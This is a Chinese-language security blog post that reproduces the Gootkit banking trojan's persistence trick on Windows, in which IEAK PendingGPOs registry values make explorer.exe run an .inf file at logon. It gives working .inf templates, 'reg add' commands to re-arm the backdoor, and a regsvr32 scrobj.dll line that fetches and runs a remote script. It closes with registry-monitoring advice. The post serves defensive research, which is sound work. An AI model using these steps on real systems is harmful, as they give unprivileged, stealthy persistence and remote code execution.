GookitBankingTrojan 中的后门利用分析
0x00 前言
Gootkit Banking Trojan 在 2014 年被首次发现,最近 Daniel Bunce(@ 0verfl0w_)介绍了一些对于 Gootkit Banking Trojan 的分析,文章地址如下:https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/
其中,Gootkit Banking Trojan 使用的后门启动方法是独有的,所以本文仅在技术研究的角度复现 Gootkit Banking Trojan 使用的后门启动方法,分析利用思路,给出防御和检测的建议。
0x01 简介
本文将要介绍以下内容:
- 原理介绍
- inf 文件的基础知识
- 复现后门启动方法
- 分析利用方法
- 检测和防御建议
0x02 原理介绍
explorer.exe 在运行时会加载特定的组策略对象(GPO),其中包括 Internet Explorer Administration Kit(IEAK) 的 GPO
如果通过添加注册表的方式为 IKAK 创建一个 Pending GPO,指向一个 inf 文件,那么在 explorer.exe 启动时,就会加载这个 Pending GPO,执行 inf 文件中的内容
这个方法的优点是不需要管理员权限
0x03 inf 文件的基础知识
inf 全称 Device INFormation File,是 Microsoft 为硬件设备制造商发布其驱动程序推出的一种文件格式
对大小写不敏感
文件格式:
由多个节组成,节名用方括号括起来
值得注意的节:
1.Version 节
inf 文件都包含这个节,用来描述支持的设备类型和适用的操作系统
signature="$CHICAGO$
表示该 inf 文件适用于 Windows98 之后的所有操作系统signature="$Windows NT$"
表示该 inf 文件适用于 Windows 2000/XP/2003 操作系统
2.DefaultInstall 节
默认情况下首先执行该节内的内容,通常包括文件拷贝、删除,注册表键值的更新,子键删除等功能,还支持执行命令:
- RunPreSetupCommands,本节中指定的命令在安装服务配置文件之前运行
- RunPostSetupCommands,本节中指定的命令在安装程序完成服务配置文件后运行
- RunPreUnInstCommands,本节中指定的命令在卸载程序开始之前运行
- RunPostUnInstCommands,本节中指定的命令在卸载程序运行后运行
例如一个分别执行 cmd 命令和弹出计算器的 test.inf 文件示例:
[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
RunPostSetupCommands=Command2
[Command1]
C:\WINDOWS\SYSTEM32\calc.exe
[Command2]
C:\WINDOWS\SYSTEM32\cmd.exe
命令行下的启动方式:
rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall
执行后先弹出计算器,关闭计算器后,再弹出 cmd.exe
0x04 后门启动方法复现
1.使用测试程序 putty.exe,保存位置: c:\test\putty.exe
2.新建 putty.inf,内容如下:
[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"You need a new version of advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1:2
[Command1]
c:\test\putty.exe
3.新建注册表项
- HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Count, REG_DWORD,1
- HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Path1,REG_SZ,"c:\test\test.inf"
- HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Section1,REG_SZ,"DefaultInstall"
注:原文中 Section1 的值为 [DefaultInstall]
,经测试,此处存在 bug,正确的值应该为 DefaultInstall
注册表设置如下图
4.重启系统
系统启动后执行 putty.exe,复现成功
注:系统重启后该注册表会被清除,为了保证下次重启系统时再次触发后门,需要再次修改注册表,添加对应的键值,可供参考的 cmd 命令如下:
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Count /t REG_DWORD /d 1
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Path1 /t REG_SZ /d "c:\test\test.inf"
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Section1 /t REG_SZ /d "DefaultInstall"
0x05 方法优化
1.inf 文件不需要同要启动的 exe 文件同名
inf 文件名称可以任意,例如 test.inf
注:原文描述需要 inf 文件同 exe 文件同名
2.inf 文件内容格式不固定
AdvancedINF=2.5,"You need a new version of advpack.dll"
可修改为 AdvancedINF=2.5,"11111111"
3.inf 文件的 payload 不唯一
还可以实现文件拷贝、删除,注册表键值的更新,子键删除等功能
如果是执行命令,可以同 sct 结合实现无文件落地,例如实现远程下载执行的文件内容如下:
[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
[Command1]
regsvr32 /u /s /i:..//SCTPersistence/master/calc.sct scrobj.dll
0x06 利用分析
优点如下:
- 不需要管理员权限,只需要普通用户权限即可
- payload 扩展性高,同其他方法结合(如 sct) 可实现远程下载执行,不需要向硬盘写入文件
0x07 检测和防御建议
监控注册表位置: HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs
默认配置下,系统不存在注册表项: HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy
注:修改注册表 HKEY_LOCAL_MACHINE\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs
不会触发这个后门
0x08 小结
本文复现了 Gookit Banking Trojan 中的后门启动方法,分析利用思路,给出防御和检测的建议。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

上一篇: 利用 IIS 的端口共享功能绕过防火墙
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论